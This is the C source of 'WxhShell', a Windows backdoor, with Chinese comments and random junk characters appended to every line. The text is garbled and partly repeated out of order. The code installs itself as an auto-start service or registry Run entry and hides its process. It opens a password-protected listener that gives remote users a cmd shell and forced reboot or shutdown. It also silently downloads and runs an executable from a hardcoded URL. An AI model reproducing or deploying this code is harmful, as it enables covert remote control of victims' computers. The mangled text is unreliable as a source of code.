    if(Boot(SHUTDOWN)) y4') !e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IWkBq]Y  
    else { })B)-8  
    closesocket(wsh); ^:BRbp37i  
    ExitThread(0); \MU4"sXw  
    } PA E)3  
    break; L<: ya  
    } MEu-lM7v  
  // 获取shell KGIz)/eSg  
  case 's': { (\j<`"n  
    CmdShell(wsh); $a G'.0HW  
    closesocket(wsh); ]#nAld1cmy  
    ExitThread(0); <FP -]R)  
    break; Xp' KQ1w)  
  } {RK#W~h  
  // 退出 ^P[*yf  
  case 'x': { UxW~yk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7 ?Fl [FW$  
    CloseIt(wsh); ;.Kzc3yz}  
    break; v[x`I;  
    } NoMC* ",b>  
  // 离开 2}NfR8 N  
  case 'q': { M`(xAVl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sEoS|"  
    closesocket(wsh); -Jhf]  
    WSACleanup(); *)`:Nm~y  
    exit(1); qcK)J/K"  
    break; ^/c|s!U^  
        } =Zj9F1E[i  
  } wdg[pt />  
  } JOMZ&c^  
zVIzrz0  
  // 提示信息 ! `SR$dnE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B7#;tCf  
} X@arUs7  
  } ,GK>|gNsb  
m>iuy:ti  
  return; ~Sh}\&3p  
} '@$?A>.cj  
\R~Lf+q  
// shell模块句柄 dgO2fI  
int CmdShell(SOCKET sock) >@t]M`#&h  
{ 3yTBkFI!  
STARTUPINFO si; RKe19l_V  
ZeroMemory(&si,sizeof(si)); E(TY%wO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b`^$2RM&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +G?3j,a\  
PROCESS_INFORMATION ProcessInfo; )T>a|.  
char cmdline[]="cmd"; 2]@U$E='s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z >pq<}R6  
  return 0; U9JqZ!  
} m_pK'jc  
b^v.FK46G  
// 自身启动模式 LE7o[<>  
int StartFromService(void) MFC= oKD  
{ (F @IUbnl  
typedef struct 8} U/fQ~  
{ ^0r @",  
  DWORD ExitStatus; pPIH`Iq  
  DWORD PebBaseAddress; Va1|XQ<CL  
  DWORD AffinityMask; I} j! !  
  DWORD BasePriority; Z I8p(e  
  ULONG UniqueProcessId; C}M0KDF  
  ULONG InheritedFromUniqueProcessId; hVd63_OO  
}   PROCESS_BASIC_INFORMATION; QPBf++|  
+'[iyHBJ  
PROCNTQSIP NtQueryInformationProcess; d@C93VYp  
U7{, *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >:Rc%ILym  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b+w|3bQa  
5Eq_L  
  HANDLE             hProcess;  6CCM7  
  PROCESS_BASIC_INFORMATION pbi; I+}h+[W  
V;>p@uE,P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `LNRl'Z m  
  if(NULL == hInst ) return 0; ~x824xW  
ll6~8PN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Y-7B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k+_pj k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .rwZ`MP  
,UY],;ib  
  if (!NtQueryInformationProcess) return 0; ^G5 _d"Gr  
[~$9n_O94  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 42Z2Mjtk  
  if(!hProcess) return 0; J.~$^-&!  
N8:vn0ww  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cfa?LgSz  
<x,$ODso  
  CloseHandle(hProcess); {"O'kx  
si)920?E&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \vKMNk;kz  
if(hProcess==NULL) return 0; =T9QmEBm  
$LKniK  
HMODULE hMod; i/~A7\:8%  
char procName[255]; x#'# ~EO-G  
unsigned long cbNeeded;  /I="+  
M,NYF`;a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZE4~rq/W  
mlX^5h'  
  CloseHandle(hProcess); a:1-n %&F  
j:rGFd  
if(strstr(procName,"services")) return 1; // 以服务启动 $ -;,O8yR  
5r@x$*>e  
  return 0; // 注册表启动 "(/.3`g  
} )| 3?7?X  
5v8_ji#l[  
// 主模块 vWwp'q  
int StartWxhshell(LPSTR lpCmdLine) e;!si>N  
{ g;vG6!;E\  
  SOCKET wsl; OSxr@  
BOOL val=TRUE; L= hPu#&/  
  int port=0; @MTm8E6au  
  struct sockaddr_in door; <!R~G-D#_T  
0zetOlFbO  
  if(wscfg.ws_autoins) Install(); }~yhkt5K  
_z~|*7@  
port=atoi(lpCmdLine); A@+pvC&  
.X TBy/(0  
if(port<=0) port=wscfg.ws_port; ?~hC.5  
JuS#p5E #  
  WSADATA data; u1(`^^Ml  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y?;&(Tcbt8  
eA4@)6WP(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   an=8['X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *e!0ZB3J  
  door.sin_family = AF_INET; ^ola5wD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k#&d`?X  
  door.sin_port = htons(port); wm !Y5  
BH0].-)[y!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YR^J7b\  
closesocket(wsl); ma,H<0R  
return 1; ;5?$q  
} hxGZ}zq*S  
6j+_)7.V  
  if(listen(wsl,2) == INVALID_SOCKET) { QVsOB$  
closesocket(wsl); ;i@,TU  
return 1; +\2{{~_z  
} N\BB8<F  
  Wxhshell(wsl); ?V3e;n  
  WSACleanup(); QJjqtOf>  
h%9#~gJ})  
return 0; Hcq?7_)  
l`4hWs\I  
} a"4j9cO  
.k|8nNj  
// 以NT服务方式启动 ?zM]p"M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xp.~i*!`  
{ 3{O^q/R  
DWORD   status = 0; FIDV5Y/f  
  DWORD   specificError = 0xfffffff; >$j?2,Za(V  
.Ce30VE-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K1Snag  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tq,Kel  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }w}2'P'T  
  serviceStatus.dwWin32ExitCode     = 0; buu~#m 1z  
  serviceStatus.dwServiceSpecificExitCode = 0; 0[/>> !ws  
  serviceStatus.dwCheckPoint       = 0; Y/?V%X  
  serviceStatus.dwWaitHint       = 0; Bq3"l%hI  
jhOQ)QE|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5ro^<P0f**  
  if (hServiceStatusHandle==0) return; pX `BDYg.  
_8P0iC8Zg#  
status = GetLastError(); aEM2xrhy,  
  if (status!=NO_ERROR) P>j^w#$n  
{ 6 GqR]KD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y@Z@ eK3  
    serviceStatus.dwCheckPoint       = 0; xp7 `[.  
    serviceStatus.dwWaitHint       = 0; D,b'1=  
    serviceStatus.dwWin32ExitCode     = status; 3copJS  
    serviceStatus.dwServiceSpecificExitCode = specificError; dZ K /v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -fKo~\Pr  
    return; F9IrbLS9c  
  } 7u73v+9qn:  
|WwC@3)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gqJSz}'  
  serviceStatus.dwCheckPoint       = 0; H0r@dn  
  serviceStatus.dwWaitHint       = 0; I7,5ID4pn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8w /$!9[  
} W;!OxOWZJ  
;5Spdi4w  
// 处理NT服务事件,比如:启动、停止 H\H4AAP5F$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iq*]CF  
{ "NWILZwEV  
switch(fdwControl) d 5jZ?  
{ *oZ]k`-!8  
case SERVICE_CONTROL_STOP: .^ djt  
  serviceStatus.dwWin32ExitCode = 0; +?y ', Ir  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; = Lt)15  
  serviceStatus.dwCheckPoint   = 0; RC?gozBFJ  
  serviceStatus.dwWaitHint     = 0; >%LZ|*U  
  { AQ+MjS,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ynY(  
  } Vi1l^ Za  
  return; ?i'N 9 /(  
case SERVICE_CONTROL_PAUSE: F#NuZ'U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~;$,h ET  
  break; 1seWR"  
case SERVICE_CONTROL_CONTINUE: GYH{_Fq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +)$oy]  
  break; rZ`+g7&^Fh  
case SERVICE_CONTROL_INTERROGATE: 6)=`&>9  
  break;  qHVZsZ  
}; Sq22]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &`x1_*l  
} hvW FzT5  
lEAf\T7  
// 标准应用程序主函数 .Nk'yow  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7]sRHX0o%  
{ JX!z,X?r4  
&FrUj>i  
// 获取操作系统版本 1?I_fA}  
OsIsNt=GetOsVer(); YF8;s4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A; _Zw[  
-So$ f-y  
  // 从命令行安装 R` g'WaDk  
  if(strpbrk(lpCmdLine,"iI")) Install(); ' _ZiZ4O  
T8^`<gr.  
  // 下载执行文件 Ob!NC&  
if(wscfg.ws_downexe) { & 6="r}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) da ' 1 H  
  WinExec(wscfg.ws_filenam,SW_HIDE); hufpky[&8  
} ICdfak  
pTeN[Yu?  
if(!OsIsNt) { 2P, %}Ms  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~}"5KX\=#  
HideProc(); g79zzi-  
StartWxhshell(lpCmdLine); wF=?EK(;P{  
} @tT2o@2Y^  
else f?JP=j  
  if(StartFromService()) ?kM2/a"{G  
  // 以服务方式启动 5nV IC3N+1  
  StartServiceCtrlDispatcher(DispatchTable); M:M"7>:  
else &c[ISc>N{  
  // 普通方式启动 Uv)B  
  StartWxhshell(lpCmdLine); 7m$EZTw?  
Z1}@N/>>  
return 0; iWGn4p'  
} o[^nmHrM2  
~Vt?'v20@  
%fuV]  
3QI.|;X  
=========================================== Llf#g#T  
'nIKkQ" N  
3-/F]}0y6  
H|)F-aL[  
pJdR`A-k|  
;IOM3'5 T@  
" B@j2^Dr~!  
+lplQh@RB  
#include <stdio.h> &M>o  
#include <string.h> vc%=V^)N7U  
#include <windows.h> gp+aUK~o  
#include <winsock2.h> KPjC<9sby  
#include <winsvc.h> u']}Z% A9`  
#include <urlmon.h> prEI9/d"  
g@zhhBtQ  
#pragma comment (lib, "Ws2_32.lib") 9ls*L!Jw  
#pragma comment (lib, "urlmon.lib") D wfw|h  
Hk f<.U  
#define MAX_USER   100 // 最大客户端连接数 }Y"vUl_I2  
#define BUF_SOCK   200 // sock buffer G\z5Ue*  
#define KEY_BUFF   255 // 输入 buffer b+`qGJrej  
yGY:EvH^?  
#define REBOOT     0   // 重启 V]Rt[l]  
#define SHUTDOWN   1   // 关机 |b4f3n  
Skg}/Ek  
#define DEF_PORT   5000 // 监听端口 +!Q*ie+q  
_vJ(F  
#define REG_LEN     16   // 注册表键长度 <2af&-EG s  
#define SVC_LEN     80   // NT服务名长度 7NvnCs  
3a?|}zr4  
// 从dll定义API od)ssL&E~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8 =oUE$9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0qq>(K[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z aYUf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 704_ehrlE  
:b0|v`FU  
// wxhshell配置信息 .?`8B9w  
struct WSCFG { m[CyvcF*u  
  int ws_port;         // 监听端口 B.C:06E5  
  char ws_passstr[REG_LEN]; // 口令 d#HlO}  
  int ws_autoins;       // 安装标记, 1=yes 0=no @_$Un&eo  
  char ws_regname[REG_LEN]; // 注册表键名 .ah[!O  
  char ws_svcname[REG_LEN]; // 服务名 |It&1fz}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I!#WXK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8VtRRtl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |>RNIJ]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jot7 L%,TB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O"X:3srJ`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M._;3_)%/  
]O>AD 6P  
}; u9m ~1\R*  
iR"6VO  
// default Wxhshell configuration ;X;(7  
struct WSCFG wscfg={DEF_PORT, @\r2%M-  
    "xuhuanlingzhe", z=TO G P(  
    1, |- <72$j  
    "Wxhshell", "ql$Rz8  
    "Wxhshell", o%!s/Z1  
            "WxhShell Service", l"1*0jgBw  
    "Wrsky Windows CmdShell Service", D\Y,2!I  
    "Please Input Your Password: ", n[B[hAT  
  1, gFd*\Dk  
  "http://www.wrsky.com/wxhshell.exe", "G^TA:O:=  
  "Wxhshell.exe" |/ji'Bh  
    }; t3AmXx  
nu)YN1 *  
// 消息定义模块 5Bt~tt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $<9u:.9xf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AhkDLm+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )PkW,214#  
char *msg_ws_ext="\n\rExit."; @?jtB  
char *msg_ws_end="\n\rQuit."; ~0h@p4  
char *msg_ws_boot="\n\rReboot..."; &=f?:UZ%  
char *msg_ws_poff="\n\rShutdown..."; xYZ,.  
char *msg_ws_down="\n\rSave to "; .4ZOm'ko{  
)~Gn7  
char *msg_ws_err="\n\rErr!"; h@z0 x4_])  
char *msg_ws_ok="\n\rOK!"; bU[_YuJbM  
d}%-vm} 0  
char ExeFile[MAX_PATH]; ftKL#9,s(  
int nUser = 0; sjOv!|]A  
HANDLE handles[MAX_USER]; !"o\H(siT  
int OsIsNt; XS #u/!  
'N^*,  
SERVICE_STATUS       serviceStatus; 7n?yf_ je  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z- t&AH  
t3!OqM  
// 函数声明 ]Ok'C"V(j  
int Install(void); (S4HU_,88  
int Uninstall(void); L[Ot$  
int DownloadFile(char *sURL, SOCKET wsh); 6Xz d> 5x  
int Boot(int flag); 8#\|Y~P  
void HideProc(void); 6i%6u=um3  
int GetOsVer(void); , @!X! L  
int Wxhshell(SOCKET wsl); VR .t  
void TalkWithClient(void *cs); XUKlgl!+.  
int CmdShell(SOCKET sock); 9]{va"pe7  
int StartFromService(void); ( et W4p  
int StartWxhshell(LPSTR lpCmdLine); 6O,:I  
R(*t 1R\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RO|8NC<oj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <W>A }}q  
~ g-(  
// 数据结构和表定义 m"-kkH{I  
SERVICE_TABLE_ENTRY DispatchTable[] = c1r+?q$f  
{ m)LI| v  
{wscfg.ws_svcname, NTServiceMain}, jO/cdLKX(  
{NULL, NULL} Faa>bc~E  
}; {6WG  
q 7 <d|s  
// 自我安装 OR*JWW[]  
int Install(void) 3HBh 3p5  
{ +q;{ %3C  
  char svExeFile[MAX_PATH]; hv?T}E  
  HKEY key; "M@&*<S  
  strcpy(svExeFile,ExeFile); ,Tu.cg  
8{QCW{K  
// 如果是win9x系统,修改注册表设为自启动 #0vda'q=j  
if(!OsIsNt) { ; o Y|~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |d&C<O;f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x=IZ0@p  
  RegCloseKey(key); d:w/{m% #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gS'7:UH,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >~Xe` }'  
  RegCloseKey(key); Yku6\/^  
  return 0; 6PYm?i=p?  
    } z HvE_ -  
  } [^?i<z{0C  
} Z'>UR.g  
else { ;HH%OfQq  
`^,E4Qy  
// 如果是NT以上系统,安装为系统服务 t0jE\6r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LT Pr8^  
if (schSCManager!=0) Ws7fWK;  
{ m[^ )Q9o}  
  SC_HANDLE schService = CreateService .d}yQ#5z  
  ( 4sntSlz)~k  
  schSCManager, 2$kB^g!:o  
  wscfg.ws_svcname, bhGRD{=  
  wscfg.ws_svcdisp, _/z_ X  
  SERVICE_ALL_ACCESS, :IBP "  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ju'a Uzn  
  SERVICE_AUTO_START, j6EF0/_|e  
  SERVICE_ERROR_NORMAL, -seLa(8F  
  svExeFile, u:lBFVqk  
  NULL, ?d3FR!  
  NULL, 1/m$#sz  
  NULL, )DhE~  
  NULL, ;"u,G!  
  NULL W^h,O+vk  
  ); fv#ov+B  
  if (schService!=0) " acI:cl?,  
  { 8b.k*,r>  
  CloseServiceHandle(schService); P8}IDQ9  
  CloseServiceHandle(schSCManager); BO4;S/ O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `,xO~_ e>  
  strcat(svExeFile,wscfg.ws_svcname); 'G~i;o  2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -3mIdZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v@OELJX  
  RegCloseKey(key); (*P`  
  return 0; ;akW i]  
    } 3vcyes-U  
  } Pg8boN]}  
  CloseServiceHandle(schSCManager); km C0.\  
} g%"SAeG<K  
} l[IL~  
| n)4APX\Q  
return 1; F<4 :P=  
} yna!L@ *@,  
,hu@V\SKv  
// 自我卸载 HZ%V>88  
int Uninstall(void) wkGr}  
{ Iy49o!  
  HKEY key; %6 Av1cv  
s|H7;.3gp  
if(!OsIsNt) { Pe,ky>ow  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TK18U*z7J  
  RegDeleteValue(key,wscfg.ws_regname); 'g,_lF  
  RegCloseKey(key); gJX"4]Ol#}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { __xmn{{L6P  
  RegDeleteValue(key,wscfg.ws_regname); o]4BST(A  
  RegCloseKey(key); &_-=(rK  
  return 0; 5I2 h(Td  
  } '%t$m f!nV  
} %;ED} X  
} HBR/" m  
else { Z2m^yRQ(  
U5N|2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :AFW=e@<  
if (schSCManager!=0) >QvqH 2  
{ 1Z)P.9c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hWbu Z%  
  if (schService!=0) {22ey`@`h  
  { y\;oZ]J  
  if(DeleteService(schService)!=0) { ^i#0aq2}  
  CloseServiceHandle(schService); #*qV kPX  
  CloseServiceHandle(schSCManager); 6Aqv*<1=62  
  return 0; Qc-W2%  
  } g2TK(S|#  
  CloseServiceHandle(schService); r3U7`P   
  } >^`#%$+  
  CloseServiceHandle(schSCManager); 9&=%shOc+x  
} AZhI~QWo  
} { 'A 15  
JUA%l  
return 1; M !"Q7>d  
} mfI[9G  
Bf00&PE;  
// 从指定url下载文件  2=;ZJ  
int DownloadFile(char *sURL, SOCKET wsh) hfLe<,  
{ sj&(O@~R  
  HRESULT hr; r+[g.`  
char seps[]= "/"; K/C}  
char *token; okRt^qe  
char *file; uKXU.u*C  
char myURL[MAX_PATH]; V.u^;gr3  
char myFILE[MAX_PATH]; vb0Ca+}}  
nRqP_*]  
strcpy(myURL,sURL); ufR>*)_+  
  token=strtok(myURL,seps); ag:<%\2c  
  while(token!=NULL) O}cfb4"  
  { _){u5%vv  
    file=token; SGZYDxFC@  
  token=strtok(NULL,seps);  EJC}"%h  
  } um]*nXIr  
1_LKqBgo  
GetCurrentDirectory(MAX_PATH,myFILE); [= E=H*j  
strcat(myFILE, "\\"); / zNVJhC  
strcat(myFILE, file); :/=P6b;  
  send(wsh,myFILE,strlen(myFILE),0); 4IfkYM  
send(wsh,"...",3,0); `_Iyr3HAf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1@~%LV  
  if(hr==S_OK) 8i`T?KB  
return 0; :%mls Nw  
else 7YTO{E6]d\  
return 1; TTj] _R{n  
Q_,!(N  
} L!33`xef'  
[*) 2Ou  
// 系统电源模块 4jZt0  
int Boot(int flag) jzDPn<WQ  
{ Lp$&eROFVs  
  HANDLE hToken; v8E:64  
  TOKEN_PRIVILEGES tkp; ;MYK TE>m  
MJe/ \  
  if(OsIsNt) { cqh1,h$sG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =u9e5n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U/q"F<?.c  
    tkp.PrivilegeCount = 1; $?kTS1I(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P!9-!+F"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V e[Kv07  
if(flag==REBOOT) { :X9;KoJl-V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GPs4:CIgG  
  return 0; Rb b[N#p5  
} u5qaLHoEP  
else { su\Lxv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Aj\m57e,6  
  return 0; QxEmuiN  
} O&.gc p!  
  } tJ d/u QJ  
  else { ri"=)]  
if(flag==REBOOT) { x51p'bNy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !_o1;GzK  
  return 0; 2V9"{F?  
} !h1|B7N  
else { =hh,yi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t2.]v><  
  return 0; {|zQ .s A  
} q}JP;p(#  
} 9~f RYA*  
}236{)DuN  
return 1; Pa\yp?({q  
} G7-.d/8|^  
W}(xE?9&  
// win9x进程隐藏模块 sV~|9/r  
void HideProc(void) Cq=k3d#}  
{ :oZ~&H5Q  
0#ePg6n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3=L5Y/  
  if ( hKernel != NULL ) i2O$oHd  
  { x?R1/iHv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2F1Bz<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,`ehR6b  
    FreeLibrary(hKernel); QA!'p1{#  
  } M|z4Dy  
.0y .0=l  
return; Y5IQhV.  
} Y-DHW/Z~  
$*0XWrE  
// 获取操作系统版本 rJd-e96  
int GetOsVer(void) F+Hmp\rM#  
{ %`dVX EO  
  OSVERSIONINFO winfo; Y#-pK)EeU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U3>ES"N  
  GetVersionEx(&winfo); .a]av   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '! ;Xxe5  
  return 1; 5Obv/C  
  else \xZ6+xZd1  
  return 0; t_X=x`f  
} F,GG>(6c  
QbAEW m  
// 客户端句柄模块 UD]RWN  
int Wxhshell(SOCKET wsl) h5H#xoCXp  
{ 98l-  
  SOCKET wsh; 2;ogkPv'  
  struct sockaddr_in client; g9gyx/'*  
  DWORD myID; Bd13p_V"6  
j=b-Y  
  while(nUser<MAX_USER) #5IfF~* i  
{ i'Q 4touy  
  int nSize=sizeof(client); 9;pD0h|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mg^3Y'{o  
  if(wsh==INVALID_SOCKET) return 1; A}03s6^i;  
`~W?a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &>auW}r  
if(handles[nUser]==0) O`0A#h&No  
  closesocket(wsh); DVyxe}  
else a*@4W3;7  
  nUser++; /{X2:g{  
  } ~c GH+M@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f+dj6!g5/  
+@C|u'  
  return 0; !='&#@7u  
} XM*%n8q7#N  
+Xr87x;  
// 关闭 socket nR$Q~`  
void CloseIt(SOCKET wsh) 5./(n7d_  
{ Nj4^G ~_  
closesocket(wsh); PHn3f;I  
nUser--; o{ \r1<D  
ExitThread(0); KA0_uty/T  
} uQg&A`4  
cLnvb!g'#  
// 客户端请求句柄 h)C `w'L  
void TalkWithClient(void *cs) OOX}S1lA  
{ Q pbzx/2h  
Wp$'#HhB  
  SOCKET wsh=(SOCKET)cs; 3HmJixy  
  char pwd[SVC_LEN]; SE!0f&  
  char cmd[KEY_BUFF]; *e-+~/9~  
char chr[1]; VbzW4J_  
int i,j; Jyu*{  
{[.<BU-  
  while (nUser < MAX_USER) { wS1zd?  
]^CNC0  
if(wscfg.ws_passstr) { )h?Pz1-W1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?qjlWCV|e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !+I!J s"  
  //ZeroMemory(pwd,KEY_BUFF); P"mD 73a  
      i=0; ( u}tUv3  
  while(i<SVC_LEN) { tqe8:\1yK  
a)Ca:p  
  // 设置超时 B mxBbg  
  fd_set FdRead; A Pu cA  
  struct timeval TimeOut; yY42+%P  
  FD_ZERO(&FdRead); |nj,]pA  
  FD_SET(wsh,&FdRead); wi/dR}*A  
  TimeOut.tv_sec=8; |d8x55dk  
  TimeOut.tv_usec=0; ;O7<lF\7o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9i+SU|;j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w[wrZ:[  
</8F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J'>i3e Lq  
  pwd=chr[0]; tO ^KCnL  
  if(chr[0]==0xd || chr[0]==0xa) { ~<#!yRy>r  
  pwd=0; j5>3Td.  
  break; v= I 'rx  
  } {m+(j (6-  
  i++; o=VDO,eS  
    } 7Z<ba^r}  
6>Szxkz  
  // 如果是非法用户,关闭 socket >A;9Ee"&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /? j vv&  
} Lk|%2XGO&  
nE3'm[)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S2 0L@e"U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @eGJ_ J  
2U;ImC1g  
while(1) { S @'fmjA'  
&qP&=( $  
  ZeroMemory(cmd,KEY_BUFF); u;qBW uO  
xui.63/  
      // 自动支持客户端 telnet标准   0 ))W [  
  j=0; +MfdZD  
  while(j<KEY_BUFF) { pkL&j<{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n^ AQ!wC  
  cmd[j]=chr[0]; 2& l~8,  
  if(chr[0]==0xa || chr[0]==0xd) { hs"=>(P)  
  cmd[j]=0; o4"7i 9+g  
  break; M1/Rba Q  
  } q-fxs8+m|  
  j++; ( o_lH2  
    } q^_PR|  
>wpC45n)9N  
  // 下载文件 A%pBvULH  
  if(strstr(cmd,"http://")) { .*s1d)\:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u!As?AD.  
  if(DownloadFile(cmd,wsh)) I(*4N^9++  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  S=o1k  
  else S6r$n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =hO0 @w  
  } ;U=RV&  
  else { v/E_A3Ay&  
;9r`P_r  
    switch(cmd[0]) { 2%'iTXF  
  Xk_xTzJ  
  // 帮助 %!G]H   
  case '?': { XJ|CC.]1u  
